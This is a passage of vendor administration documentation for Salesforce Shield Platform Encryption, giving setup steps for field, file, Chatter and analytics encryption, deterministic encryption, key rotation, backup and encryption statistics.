   The Key Management page displays all tenant secrets of each data type. If you generate or upload a tenant secret while viewing tenant secrets of a particular type, it becomes the active tenant secret for that data.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?
Encrypt New Data in Standard Fields

You can encrypt standard fields on standard objects with Shield Platform Encryption from the Encryption Policy page. For best results, encrypt the least number of fields possible.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Depending on the size of your org, enabling a standard field for encryption can take a few minutes.

1. Make sure that your org has an active encryption key. If you’re not sure, check with your administrator.
2. From Setup, in the Quick Find box, enter Platform Encryption, and then select Encryption Policy.
3. Click Encrypt Fields.
4. Click Edit.
5. Select the fields you want to encrypt.
   All new data entered in this field is encrypted. By default, data is encrypted using a probabilistic encryption scheme. To apply deterministic encryption to your data, select Deterministic from the Encryption Scheme list. For more information, see “How Deterministic Encryption Supports Filtering” in Salesforce Help.
6. Click Save.

The automatic Platform Encryption validation service checks for settings in your org that can block encryption. You receive an email with suggestions for fixing incompatible settings.

Field values are automatically encrypted only in records created or updated after you’ve enabled encryption. Contact Salesforce to update existing records so that their field values are encrypted.

Note: To encrypt standard fields on custom objects, such as Custom Object Name, see Encrypt Fields on Custom Objects and Custom Fields.
Encrypt Fields on Custom Objects and Custom Fields

You can encrypt standard fields on custom objects, and custom fields on both standard and custom objects. Shield Platform Encryption also supports custom fields in installed managed packages. Apply encryption to custom fields from the management settings for each object. For best results, encrypt the least number of fields possible. When you add encryption to a field, all new data in that field is encrypted.

IN THIS SECTION:

- Encrypt New Data in Custom Fields in Salesforce Classic
  Apply Shield Platform Encryption to new custom fields in Salesforce Classic, or add encryption to new data entered in an existing custom field.

- Encrypt New Data in Custom Fields in Lightning Experience
  Apply Shield Platform Encryption to new custom fields in Lightning Experience, or add encryption to new data entered in an existing custom field.

- Encrypt Custom Fields in Installed Managed Packages
  If an installed managed package supports Shield Platform Encryption, you can encrypt custom fields in that package. Turn on encryption for custom fields in installed managed packages from the Advanced Settings page, and then apply encryption to custom fields in your installed managed package.

EDITIONS


Available in both Salesforce Classic and Lightning Experience.

USER PERMISSIONS

To view setup:
- View Setup and Configuration

To encrypt fields:
- Customize Application
Encrypt New Data in Custom Fields in Salesforce Classic

Apply Shield Platform Encryption to new custom fields in Salesforce Classic, or add encryption to new data entered in an existing custom field.

To apply deterministic encryption to custom fields, first enable deterministic encryption from the Platform Encryption Advanced Settings page in Setup.

1. From the management settings for the object, go to Fields.
2. In the Custom Fields & Relationships section, create a field or edit an existing one.
3. Select Encrypted.
   All new data entered in this field is encrypted. By default, data is encrypted using a probabilistic encryption scheme. To apply deterministic encryption to your data, select a deterministic option listed under Encrypted.
4. Click Save.

The automatic Shield Platform Encryption validation service checks for settings in your org that can block encryption. You receive an email with suggestions for fixing incompatible settings.

Field values are automatically encrypted only in records created or updated after you’ve enabled encryption. Synchronize your existing data with your active key material from the Encryption Statistics and Data Sync page, or contact Salesforce Customer Support to request the background encryption service.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
Encrypt New Data in Custom Fields in Lightning Experience

Apply Shield Platform Encryption to new custom fields in Lightning Experience, or add encryption to new data entered in an existing custom field.

To apply deterministic encryption to custom fields, first enable deterministic encryption from the Platform Encryption Advanced Settings page in Setup.

1. From Setup, select **Object Manager**, and then select your object.
2. Click **Fields & Relationships**.
3. When you create or edit a custom field, select **Encrypted**.
   All new data entered in this field is encrypted. By default, data is encrypted using a probabilistic encryption scheme. To apply deterministic encryption to your data, select a deterministic option listed under Encrypted.
4. Click **Save**.

The automatic Platform Encryption validation service checks for settings in your org that can block encryption. You receive an email with suggestions for fixing incompatible settings.

Field values are automatically encrypted only in records created or updated after you’ve enabled encryption. Synchronize your existing data with your active key material from the Encryption Statistics and Data Sync page, or contact Salesforce Customer Support to request the background encryption service.

**Note:** This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Encrypt Custom Fields in Installed Managed Packages

If an installed managed package supports Shield Platform Encryption, you can encrypt custom fields in that package. Turn on encryption for custom fields in installed managed packages from the Advanced Settings page, and then apply encryption to custom fields in your installed managed package.

1. From Setup, enter **Platform Encryption** in the Quick Find box, and then select **Advanced Settings**.
2. Turn on **Encrypt Custom Fields in Managed Packages**.
   You can also enable encryption for managed packages programmatically. For more information, see **PlatformEncryptionSettings** in the **Metadata API Developer Guide**.
   From now on, if an installed managed package supports encryption, you can encrypt custom fields in that package. Don’t know if your application supports encrypted fields? Look for the Designed to Work With Salesforce Shield marker in your application’s AppExchange listing.
Encrypt New Files and Attachments

For another layer of data protection, encrypt files and attachments. If Shield Platform Encryption is on, the body of each file or attachment is encrypted when it’s uploaded.

Note: Before you begin, make sure that your organization has an active encryption key; if you’re not sure, check with your administrator.

1. From Setup, in the Quick Find box, enter Encryption Policy, and then select Encryption Policy.
2. Select Encrypt Files and Attachments.
3. Click Save.

Important: Users with access to the file can work normally with it regardless of their encryption-specific permissions. Users who are logged in to your org and have read access can search and view the body content.

Users can continue to upload files and attachments per the usual file size limits. Expansion of file sizes caused by encryption doesn’t count against these limits.

Turning on file and attachment encryption affects new files and attachments. It doesn’t automatically encrypt files and attachments that were already in Salesforce. To encrypt existing files, contact Salesforce.

To check whether a file or attachment is encrypted, look for the encryption indicator on the detail page of the file or attachment. You can also query the isEncrypted field on the ContentVersion object (for files) or on the Attachment object (for attachments).
Here's What It Looks Like When a File Is Encrypted

![Encrypted File Screenshot]

**Note:** The encryption indicator is only available in Salesforce Classic.

Encrypt Data in Chatter

Enabling Shield Platform Encryption for Chatter adds an extra layer of security to information that users share in Chatter. You can encrypt data at rest in feed posts and comments, questions and answers, link names and URLs, poll questions and choices, and content from your custom rich publisher apps.

We recommend that you test Encryption for Chatter in a dedicated Sandbox environment before enabling it in production.

Unlike encryption for custom and standard fields, enabling encryption for Chatter encrypts all eligible Chatter fields.

1. Make sure that your org has an active encryption key. If you’re not sure, check with your administrator.
2. From Setup, in the Quick Find box, enter Platform Encryption, and then select Encryption Policy.
3. Click Encrypt Chatter.

The automatic Shield Platform Encryption validation service checks for settings that could block encryption. If the service finds potential problems, it sends you an email with suggestions for fixing the problems.

After you activate encryption for Chatter, new data that you enter into Chatter gets encrypted. To encrypt historic Chatter data, contact Salesforce Customer Support to request the background encryption service.

When you edit or update an encrypted Chatter field, the field’s revision history is also encrypted. For example, if you update a post, the old version of the post remains encrypted.

If you enabled Encryption for Chatter in Spring ’17 and you want to access the most up-to-date features, deselect Encrypt Chatter and then reselect Encrypt Chatter.

**Note:** This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?
Encrypt Search Index Files

Sometimes you need to search for personally identifiable information (PII) or data that’s encrypted in the database. When you search your org, the results are stored in search index files. You can encrypt these search index files with Shield Platform Encryption, adding another layer of security to your data.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. Select Search Index from the picklist.
3. Select Generate Tenant Secret. This new tenant secret encrypts only the data stored in search index files.
4. From Setup, in the Quick Find box, enter Platform Encryption, and then select Encryption Policy.
5. Select Encrypt Search Indexes. Your search indexes are now encrypted with the active Search Index tenant secret.
Encrypt Einstein Analytics Data

To get started with Einstein Analytics Encryption, generate a tenant secret with Shield Platform Encryption. Once you generate an Analytics tenant secret, Einstein Analytics Encryption uses the Shield Platform Encryption key management architecture to encrypt your Einstein Analytics data.

1. From Setup, in the Quick Find box, enter *Platform Encryption*, and then select **Key Management**.
2. Select **Analytics** from the picklist.
3. Generate a tenant secret or upload key material.
4. From Setup, in the Quick Find box, enter *Platform Encryption*, and then select **Encryption Policy**.
5. Select **Encrypt Einstein Analytics**.
6. Click **Save**.

New datasets in Einstein Analytics are now encrypted.

**Note:** Data that was in Einstein Analytics before encryption was enabled is not encrypted. If pre-existing data is imported from Salesforce objects through the dataflow, the data becomes encrypted on the next dataflow run. Other pre-existing data (such as CSV data) must be reimported to become encrypted. Although pre-existing data is not encrypted, it is still accessible and fully functional in its unencrypted state when encryption is enabled.

Fix Compatibility Problems

When you select fields or files to encrypt with Shield Platform Encryption, Salesforce automatically checks for potential side effects. The validation service then warns you if any existing settings may pose a risk to data access or your normal use of Salesforce. You have some options for how to clear up these problems.

If your results include error messages, you’re probably running into one or more of these limitations:

**Portals**
You can’t encrypt standard fields, because a customer portal or a partner portal is enabled in your organization. To deactivate a customer portal, go to the Customer Portal Settings page in Setup. To deactivate a partner portal, go to the Partners page in Setup.

**Note:** Communities are not related to this issue. They are fully compatible with encryption.

**Criteria-Based Sharing Rules**
You’ve selected a field that is used in a filter in a criteria-based sharing rule.

**SOQL/SOSL queries**
You’ve selected a field that’s used in an aggregate function in a SOQL query, or in a WHERE, GROUP BY, or ORDER BY clause.

**Formula fields**
You’ve selected a field that’s referenced by a custom formula field in an unsupported way. Formulas can use BLANKVALUE, CASE, HYPERLINK, IF, IMAGE, ISBLANK, ISNULL, NULLVALUE, and concatenation (&).

**Flows and Processes**
You’ve selected a field that’s used in one of these contexts.
To filter data in a flow
To sort data in a flow
To filter data in a process
To filter data in a record choice set
To sort data in a record choice set

Note: By default, your results only list the first 250 errors per element. You can increase the number of errors listed in your results to 5000. Contact Salesforce for help.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Disable Encryption on Fields

At some point, you might need to disable Shield Platform Encryption for fields, files, or both. You can turn field encryption on or off individually, but file encryption is all or nothing.

When you turn off Shield Platform Encryption for a field, most encrypted data is automatically mass-decrypted. The decryption starts automatically after you disable encryption for specific fields and save your changes. When data is decrypted, any functionality that was limited or unavailable when the data was encrypted is also restored. Salesforce notifies you by email when the decryption process is complete.

Note: Automatic decryption takes longer when you disable encryption on fields encrypted with a key that’s been destroyed. Salesforce notifies you by email when the process finishes.

Long text area and rich text area field types can’t be automatically decrypted. If you decrypt data encrypted with a destroyed key, that data can’t be mass-decrypted.

Note: If you disable Shield Platform Encryption and can’t access data in fields that were previously encrypted, contact Salesforce for help.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Encryption Policy.
2. Click Encrypt Fields, then click Edit.
3. Deselect the fields you want to stop encrypting, then click Save.
   Users can see data in these fields.
4. To disable encryption for files or Chatter, deselect those features from the Encryption Policy page and click Save.

The functionality that was limited or changed by Platform Encryption is restored for your data after it’s decrypted.

Filter Encrypted Data with Deterministic Encryption

You can filter data that’s protected with Shield Platform Encryption using deterministic encryption. Your users can filter records in reports and list views, even when the underlying fields are encrypted. You can apply case-sensitive deterministic encryption or exact-match case-insensitive deterministic encryption to data on a field-by-field basis.

Deterministic encryption supports WHERE clauses in SOQL queries and is compatible with unique and external ID fields. It also supports single-column indexes and single and double-column unique indexes. Deterministic encryption key types use the Advanced Encryption Standard (AES) with 256-bit keys with CBC mode and a static initialization vector (IV).
How Deterministic Encryption Supports Filtering

By default, Shield Platform Encryption uses a probabilistic encryption scheme to encrypt data. Each bit of data is turned into a fully random ciphertext string every time it’s encrypted. Encryption doesn’t generally impact users who are authorized to view the data. The exceptions are when logic is executed in the database or when encrypted values are compared to a string or to each other. In these cases, because the data has been turned into random, patternless strings, filtering isn’t possible. For example, you might run a SOQL query in custom Apex code against the Contact object, where LastName = ‘Smith’. If the LastName field is encrypted with probabilistic encryption, you can’t run the query. Deterministic encryption addresses this problem.

Encrypt Data with the Deterministic Encryption Scheme

Generate key material specific to data encrypted with deterministic encryption schemes. You can apply either case-sensitive deterministic encryption or case-insensitive deterministic encryption schemes to your data, depending on the kind of filtering you need to perform. When you apply a deterministic encryption scheme to a field or change between deterministic encryption schemes, synchronize your data. Syncing data makes sure that your filters and queries produce accurate results.

How Deterministic Encryption Supports Filtering

By default, Shield Platform Encryption uses a probabilistic encryption scheme to encrypt data. Each bit of data is turned into a fully random ciphertext string every time it’s encrypted. Encryption doesn’t generally impact users who are authorized to view the data. The exceptions are when logic is executed in the database or when encrypted values are compared to a string or to each other. In these cases, because the data has been turned into random, patternless strings, filtering isn’t possible. For example, you might run a SOQL query in custom Apex code against the Contact object, where LastName = ‘Smith’. If the LastName field is encrypted with probabilistic encryption, you can’t run the query. Deterministic encryption addresses this problem.

To be able to use filters when data is encrypted, we have to allow some patterns in our data. Deterministic encryption uses a static initialization vector (IV) so that encrypted data can be matched to a particular field value. The system can’t read a piece of data that’s encrypted, but it does know how to retrieve the ciphertext that stands for that piece of data thanks to the static IV. The IV is unique for a given field in a given org and can only be decrypted with your org-specific encryption key.

We evaluate the relative strengths and weaknesses of cryptographic approaches based on the types of attacks that can be launched against a particular algorithm. We also consider the length of time that it could take for the attack to succeed. For example, it is commonly said that a brute-force attack against an AES 256-bit key would take a billion billion years given current computing capabilities. Nevertheless, it is common practice to rotate keys regularly.

Certain kinds of attacks become a bit less far-fetched when you get away from purely random ciphertext. For example, an attacker could conceivably analyze deterministically encrypted ciphertext and determine that the cleartext string Alice always resolves to the ciphertext YjNkY2J1NjU5M2JkNjYk4MGJiNWE2NGQ5NzI5MzU1OTcNCg==. Given enough time to eavesdrop, an attacker could defeat encryption by building a dictionary of cleartext values to ciphertext values.

The Salesforce Shield approach is to expose just enough determinism to let bona fide users filter on encrypted data while limiting it enough to ensure that a given plaintext value doesn’t universally result in the same ciphertext value across all fields, objects, or orgs. Even if an attacker successfully matched cleartext to encrypted values for one field, the attacker would have to do it all over again for another field, and again for the same field in another object.

In this way, deterministic encryption decreases encryption strength only as minimally necessary to allow filtering.

Deterministic encryption comes in two types: case-sensitive and case-insensitive. With case-sensitive encryption, a SOQL query against the Contact object, where LastName = Jones, returns only Jones, not jones or JONES. Similarly, when the case-sensitive deterministic scheme tests for unicity (uniqueness), each version of “Jones” is unique.

For case-insensitive, a SOQL query against the Lead object, where Company = Acme, returns Acme, acme, or ACME. When the case-insensitive scheme tests for unicity (uniqueness), each version of Acme is considered identical.
Important: Probabilistic encryption is not supported on the email address field for the Contact object. To avoid creating duplicate accounts during self-registration, use deterministic encryption.

Encrypt Data with the Deterministic Encryption Scheme

Generate key material specific to data encrypted with deterministic encryption schemes. You can apply either case-sensitive deterministic encryption or case-insensitive deterministic encryption schemes to your data, depending on the kind of filtering you need to perform. When you apply a deterministic encryption scheme to a field or change between deterministic encryption schemes, synchronize your data. Syncing data makes sure that your filters and queries produce accurate results.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. From the Choose Tenant Secret Type menu, select Data in Salesforce.
3. Generate or upload a tenant secret.
4. From Setup, in the Quick Find box, enter Platform Encryption, and then select Advanced Settings.
5. Enable Deterministic Encryption.
   You can also enable deterministic encryption programmatically. For more information, see PlatformEncryptionSettings in the Metadata API Developer Guide.
6. From Setup, select Key Management.
7. Select the Data in Salesforce (Deterministic) secret type.
8. Generate a tenant secret.
   You can mix and match probabilistic and deterministic encryption, encrypting some fields one way and some fields the other.
9. Enable encryption for each field, and choose a deterministic encryption scheme. How you do that depends on whether it’s a standard field or a custom field.
For standard fields, from Setup, select **Encryption Policy**, and then select **Encrypt Fields**. For each field you want to encrypt, select the field name, and then choose either **Deterministic—Case Sensitive** or **Deterministic—Case Insensitive** from the Encryption Scheme list.

For custom fields, open the Object Manager and edit the field you want to encrypt. Select **Encrypt the contents of this field**, and select an encryption scheme.
10. To apply full deterministic functionality to your existing data, synchronize your data. When you apply or remove deterministic encryption to a field, existing data in that field might not appear in queries or filters. Synchronize your data from the Encryption Statistics and Data Sync page, or contact Salesforce Customer Support to request the background encryption service. For more information, see Synchronize Your Data Encryption with the Background Encryption Service.

Key Management and Rotation

Shield Platform Encryption lets you control and rotate the key material used to encrypt your data. You can use Salesforce to generate a tenant secret for you, which is then combined with a per-release master secret to derive a data encryption key. This derived data encryption key is then used in encrypt and decrypt functions. You can also use the Bring Your Own Key (BYOK) service to upload your own key material, or store key material outside of Salesforce and have the Cache-Only Key Service fetch your key material on demand.

Key management begins with assigning security administrators the appropriate permissions. Assign permissions to people you trust to encrypt data, manage certificates, and work with key material. It’s a good idea to monitor these users’ key management and encryption activities with the Setup Audit Trail. Authorized developers can generate, rotate, export, destroy, reimport, and upload tenant secrets by coding a call to the TenantSecret object in the Salesforce API.

IN THIS SECTION:

Work with Key Material

Shield Platform Encryption lets you generate a unique tenant secret for your org, or generate a tenant secret or key material using your own external resources. In either case, you manage your own key material: You can rotate it, archive it, and designate other users to share responsibility for it.

Rotate Your Encryption Tenant Secrets

You control the life cycle of your data encryption keys by controlling the life cycle of your tenant secrets. Salesforce recommends that you regularly generate or upload new Shield Platform Encryption key material. When you rotate a tenant secret, you replace it with either a Salesforce-generated tenant secret or customer-supplied key material.

Back Up Your Tenant Secrets

Your Shield Platform Encryption tenant secret is unique to your org and to the specific data to which it applies. Salesforce recommends that you export your tenant secret to ensure continued access to the related data.

Get Statistics About Your Encryption Coverage

The Encryption Statistics page provides an overview of all data encrypted with Shield Platform Encryption. This information helps you to stay on top of your key rotation and management tasks. You can also use encryption statistics to identify which objects and fields you may want to update after you rotate your key material.

Synchronize Your Data Encryption with the Background Encryption Service

Periodically, you change your encryption policy. Or you rotate your keys. To get the most protection out of your encryption strategy with Shield Platform Encryption, synchronize new and existing encrypted data under your most recent encryption policy and keys. You can do this yourself or ask Salesforce for help.

Destroy Key Material

Only destroy Shield Platform Encryption tenant secrets and key material in extreme cases where access to related data is no longer needed. Your key material is unique to your org and to the specific data to which it applies. Once you destroy key material, related data is not accessible unless you import previously exported key material.
Require Two-Factor Authentication for Key Management

Two-factor authentication is a powerful tool for securing access to data and resources. You can require two-factor authentication for Shield Platform Encryption key management tasks like generating, rotating, or uploading key material and certificates.

Bring Your Own Key (BYOK)

When you supply your own tenant secret, you get the benefits built-in to Salesforce Shield Platform Encryption, plus the extra assurance that comes from exclusively managing your tenant secret.

Cache-Only Key Service

Shield Platform Encryption’s Cache-Only Key Service addresses a unique need for non-persisted key material. You can store your key material outside of Salesforce and have the Cache-Only Key Service fetch your key on demand from a key service that you control. Your key service transmits your key over a secure channel that you configure, and the Cache-Only Key Service uses your key for immediate encrypt and decrypt operations. Salesforce doesn’t retain or persist your cache-only keys in any system of record or backups. You can revoke key material at any time.

Work with Key Material

Shield Platform Encryption lets you generate a unique tenant secret for your org, or generate a tenant secret or key material using your own external resources. In either case, you manage your own key material: You can rotate it, archive it, and designate other users to share responsibility for it.

When you generate or upload new key material, any new data is encrypted using this key. This is now your active key. However, existing sensitive data remains encrypted using previous keys, which are now archived. In this situation, we strongly recommend re-encrypting this data with your active key. You can synchronize your data with the active key material on the Encryption Statistics and Data Sync. For help syncing your data, contact Salesforce Customer Support.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?
Rotate Your Encryption Tenant Secrets

You control the life cycle of your data encryption keys by controlling the life cycle of your tenant secrets. Salesforce recommends that you regularly generate or upload new Shield Platform Encryption key material. When you rotate a tenant secret, you replace it with either a Salesforce-generated tenant secret or customer-supplied key material.

To decide how often to rotate your tenant secrets, consult your org’s security policies. You can rotate a tenant secret once every 24 hours in production orgs and every 4 hours in sandbox environments.

The key derivation function uses a master secret, which is rotated with each major Salesforce release. Master secret rotation doesn’t impact your encryption keys or your encrypted data until you rotate your tenant secret.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. From the Choose Tenant Secret Type dropdown, choose a data type.
3. Check the status of the data type’s tenant secrets. Existing tenant secrets are listed as active, archived, or destroyed.

   **ACTIVE**
   Can be used to encrypt and decrypt new or existing data.

   **ARCHIVED**
   Can’t encrypt new data. Can be used to decrypt data previously encrypted with this key when it was active.

   **DESTROYED**
   Can’t encrypt or decrypt data. Data encrypted with this key when it was active can no longer be decrypted. Files and attachments encrypted with this key can no longer be downloaded.

4. Click Generate New Tenant Secret or Bring Your Own Key. If uploading a customer-supplied tenant secret, upload your encrypted tenant secret and tenant secret hash.

   **Note:** You can have up to 50 active and archived tenant secrets of each type. For example, you can have one active and 49 archived Data in Salesforce tenant secrets, and the same number of Analytics tenant secrets. This limit includes Salesforce-generated and customer-supplied key material.

   If you run into this limit, destroy an existing key before reactivating, rearchiving, or creating a callout to another one. Before destroying a key, synchronize the data it encrypts with an active key.

5. If you want to re-encrypt field values with your active key material, synchronize new and existing encrypted data under your most recent and keys. You can sync data yourself on the Encryption Statistics and Data Sync page in Setup, or ask Salesforce Customer Support for help.

   **Warning:** For clean and consistent results, we recommend that you contact Salesforce Customer Support for help with reencrypting your data. You can apply your active key material to existing records by editing them through Setup, or programmatically through the API. Editing a record triggers the encryption service to encrypt the existing data again using the newest key material. This update changes the record’s timestamp, and the update is recorded in the field history or Feed History. However, the field history in the History related list and Feed History aren’t reencrypted with the new key material.

   **Note:** This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?
Back Up Your Tenant Secrets

Your Shield Platform Encryption tenant secret is unique to your org and to the specific data to which it applies. Salesforce recommends that you export your tenant secret to ensure continued access to the related data.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.

2. In the table that lists your keys, find the tenant secret you want to back up. Click Export.

3. Confirm your choice in the warning box, then save your exported file.

   The file name is `tenant-secret-org-<organization ID>-ver-<tenant secret version numer>.txt`. For example, `tenant-secret-org-0DD00000007eTR-ver-1.txt`.

4. Note the specific version you’re exporting, and give the exported file a meaningful name. Store the file in a safe location so you can import it back into your org if needed.

   **Note:** Your exported tenant secret is itself encrypted.

Remember that exported key material is a copy of the key material in your org. To import an exported tenant secret, first destroy the original in your org. See Destroy a Tenant Secret on page 188.

   **Note:** This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Get Statistics About Your Encryption Coverage

The Encryption Statistics page provides an overview of all data encrypted with Shield Platform Encryption. This information helps you to stay on top of your key rotation and management tasks. You can also use encryption statistics to identify which objects and fields you may want to update after you rotate your key material.


Available in both Salesforce Classic and Lightning Experience.

**IN THIS SECTION:**

Gather Encryption Statistics

The Encryption Statistics and Data Sync page shows you how much of your data is encrypted by Shield Platform Encryption, and how much of that data is encrypted by active key material. Use this information to inform your key rotation actions and timelines. You can also use the Encryption Statistics page to collect information about the fields and objects you want to synchronize with the background encryption service.

Interpret and Use Encryption Statistics

The Encryption Statistics page offers a snapshot of your encrypted data. You can use the information to help make informed decisions about managing your encrypted data.
Gather Encryption Statistics

The Encryption Statistics and Data Sync page shows you how much of your data is encrypted by Shield Platform Encryption, and how much of that data is encrypted by active key material. Use this information to inform your key rotation actions and timelines. You can also use the Encryption Statistics page to collect information about the fields and objects you want to synchronize with the background encryption service.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Encryption Statistics.
2. Select an object type or custom object from the left pane. If you see a “—” in the Data Encrypted or Uses Active Key columns, you haven’t gathered statistics for that object yet.
3. Click Gather Statistics.
   The gathering process time varies depending on how much data you have in your object. You’re notified by email when the gathering process is finished. When your statistics are gathered, the page shows updated information about data for each object. If encryption for field history and feed tracking is turned on, you also see stats about encrypted field history and feed tracking changes.

Note:
- You can gather statistics once every 24 hours, either by clicking Gather Statistics or running the self-service background encryption service.
- Feed Item doesn’t display statistics because it’s derived from Feed Post. Gathering statistics for Feed Post is sufficient to confirm the encryption status of both Feed Post and Feed Item.
Interpret and Use Encryption Statistics

The Encryption Statistics page offers a snapshot of your encrypted data. You can use the information to help make informed decisions about managing your encrypted data.


Available in both Salesforce Classic and Lightning Experience.

The page offers two views of your encrypted data: a summary view and a detail view.

Encryption Summary View

The Encryption Summary View lists all your objects that contain encrypted data, and statistics about the encrypted data in those objects.

<table>
<thead>
<tr>
<th>Object</th>
<th>Data Encrypted</th>
<th>Uses Active Key</th>
<th>Sync Needed</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account</td>
<td>50%</td>
<td>50%</td>
<td>Yes</td>
</tr>
<tr>
<td>Case</td>
<td>100%</td>
<td>100%</td>
<td>No</td>
</tr>
<tr>
<td>Contact</td>
<td>93%</td>
<td>93%</td>
<td>Yes</td>
</tr>
<tr>
<td>Lead</td>
<td>25%</td>
<td>25%</td>
<td>Yes</td>
</tr>
<tr>
<td>Opportunity</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Attachment</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

- Object—Lists your standard and custom objects. Data about standard objects are aggregated for all standard objects of a given type. Data about custom objects are listed for each custom object.
- Data Encrypted—The total percentage of data in an object that's encrypted. In the example above, 50% of all data in Account objects are encrypted.
- Uses Active Key—The percentage of your encrypted data in that object or object type that is encrypted with your active key material.
- Sync Needed— Recommends whether to synchronize your data with the background encryption service. This column displays Yes when you've added or disabled encryption on fields, changed a field's encryption scheme, or rotated key material.

When the numbers in both Data Encrypted and Uses Active Key columns are the same, and Sync Needed column reads No, all your encrypted data is synchronized. In the example above, the Case object is synchronized.

Sometimes the Sync Needed column reads Yes for an object when the Encrypted Data and Uses Active Key columns read have the same values. This combination of values happens when encryption policy settings or keys have changed since the last time you gathered statistics or synchronized your data. This combination also happens when statistics have been gathered for newly encrypted data, but the object has never been synchronized. In the example above, the Account, Contact, Lead, and Opportunity objects meet one or more of these conditions.

A double dash (--) means that statistics haven't been gathered for that object or object type yet. In the example, statistics haven't been gathered for the Opportunity and Attachment objects.

Encryption Detail View

The Encryption Detail View shows statistics about the field and historical data stored in each object category. If encryption for field history and feed tracking is turned on, you can also view stats about encrypted field history and feed tracking changes.
Fields

The Fields tab displays data about field data in each object.

- **Field**—All encryptable standard and custom fields in the object that contain data.

  **Note:** Not all field data is stored in the same field that displays data in the UI. For example, some Person Account field data is stored in the corresponding Contact fields. If you have Person Accounts enabled but don’t see encrypted fields under the Account detail view, gather statistics for the Contact object and check there.

  Similarly, Chatter data is stored in the Feed Attachment, Feed Comment, Feed Poll Choice, Feed Post, and Feed Revision objects. The Encryption Statistics page lists these objects and all fields that hold encrypted Chatter data in the database. Some fields listed on the Encryption Statistics page aren’t visible in the UI by the same name, but they store all encrypted data that’s visible in the UI. See Which Standard Fields and Data Elements Can I Encrypt? on page 145 in Salesforce Help for a list of the encrypted Chatter fields.

- **API Name**—The API name for fields that contain data.

- **Encrypted Records**—The number of encrypted values stored in a field type across all objects of given type. For example, you select the Account object and see “9” in the Encrypted Records column next to Account Name. That means there are nine encrypted records across all Account Name fields.

- **Unencrypted Records**—The number of plaintext values stored in a field type.

- **Mixed Tenant Secret Status**—Indicates whether a mixture of active and archived tenant secrets apply to encrypted data in a field type.

- **Mixed Schemes**—Indicates whether a mixture of deterministic and probabilistic encryption schemes apply to encrypted data in a field type.

  **Note:** The following applies to both encrypted and unencrypted records:

  - The records count for a field doesn’t include NULL or BLANK values. A field with NULL or BLANK values can show a different (smaller) records count than the actual number of records.
  - The records count for compound fields such as Contact.Name or Contact.Address can show a different (larger) records count than the actual number of records. The count includes the two or more fields that are counted for every record.

History

The History tab shows data about field history and feed tracking changes.

- **Field**—All encryptable standard and custom fields in the object that contain data.

- **API Name**—The API name for fields that contain data.

- **Encrypted Field History**—The number of encrypted field history values for a field type across all objects of a given type. For example, you select the Account object and see “2” in the Encrypted Field History column for Account Name, which means that Account Name has two encrypted field history values.

- **Unencrypted Field History**—The number of plaintext field history values stored for a field.

- **Encrypted Feed Tracking**—The number of encrypted feed tracking values stored for a field.

- **Unencrypted Feed Tracking**—The number of plaintext feed tracking values stored for a field.

Usage Best Practices

Use these statistics to make informed decisions about your key management tasks.

- **Update encryption policies**—The encryption statistics detail view shows you which fields in an object contain encrypted data. Use this information to periodically evaluate whether your encryption policies match your organization’s encryption strategy.
• Rotate keys—You might want to encrypt all your data with your active key material. Review the encryption summary pane on the left side of the page. If the Uses Active Key value is lower than the Data Encrypted value, some of your data uses archived key material. To synchronize your data, click the Sync button or contact Salesforce Customer Support.

• Synchronize data—Key rotation is an important part of any encryption strategy. When you rotate your key material, you might want to apply the active key material to existing data. To synchronize your data with your active key, click the Sync button.

If self-service background encryption is unavailable, review the Uses Active Key and Mixed Tenant Secret Status columns to identify any fields that include data encrypted with an archived key. Make a note of these objects and fields, then contact Salesforce Customer Support to request the background encryption service. Salesforce Customer Support can focus just on those objects and fields you want to synchronize, keeping the background encryption process as short as possible.

### Synchronize Your Data Encryption with the Background Encryption Service

Periodically, you change your encryption policy. Or you rotate your keys. To get the most protection out of your encryption strategy with Shield Platform Encryption, synchronize new and existing encrypted data under your most recent encryption policy and keys. You can do this yourself or ask Salesforce for help.

When a change occurs, you have options for keeping your encryption policy up to date. You can synchronize most standard and custom field data yourself from the Encryption Statistics and Data Sync page in Setup. For all other data, Salesforce is here to help ensure data alignment with your latest encryption policy and tenant secret.

### When We Do and Don’t Automatically Encrypt Your Data

- When you turn on encryption for specific fields or other data, newly created and edited data are automatically encrypted with the most recent key.
- Data that’s already in your org doesn’t automatically get encrypted. Our background encryption service takes care of that on request.
- When you change your tenant secret as part of your key rotation strategy, data that’s already encrypted remains encrypted with the old tenant secret. Our background encryption service can update it on request. And don’t worry, you always have access to your data as long as you don’t destroy the old, archived keys.
- If you turn off encryption, data that’s already there is automatically decrypted based on the relevant key. Any functionality impacted by having encrypted data is restored.
- If Salesforce support re-encrypts your data with a new key, any data that was encrypted with the destroyed key is skipped. To access data encrypted with a destroyed key, import a backup of the destroyed key.

**Note:** Note: Synchronizing your data encryption doesn’t modify the record LastModifiedDate or LastModifiedById timestamps. It doesn’t execute triggers, validation rules, workflow rules, or any other automated service. However, it does modify the SystemModStamp.

### What You Can Synchronize Yourself

You can synchronize most encrypted data yourself from the Encryption Statistics page in Setup. Self-service background encryption synchronizes:

- Standard and custom fields
- The Attachment—Content Body field
- Field history and feed tracking changes when the Encrypt Field History and Feed Tracking Values setting is turned on

Read more about self-service background encryption on page 187, and its considerations on page 219, in Salesforce Help.
How to Request Background Encryption Service from Salesforce Customer Support

If you can’t sync data yourself, contact Salesforce Customer Support for help. Keep these tips in mind when asking for help with syncing your data.

Allow lead time
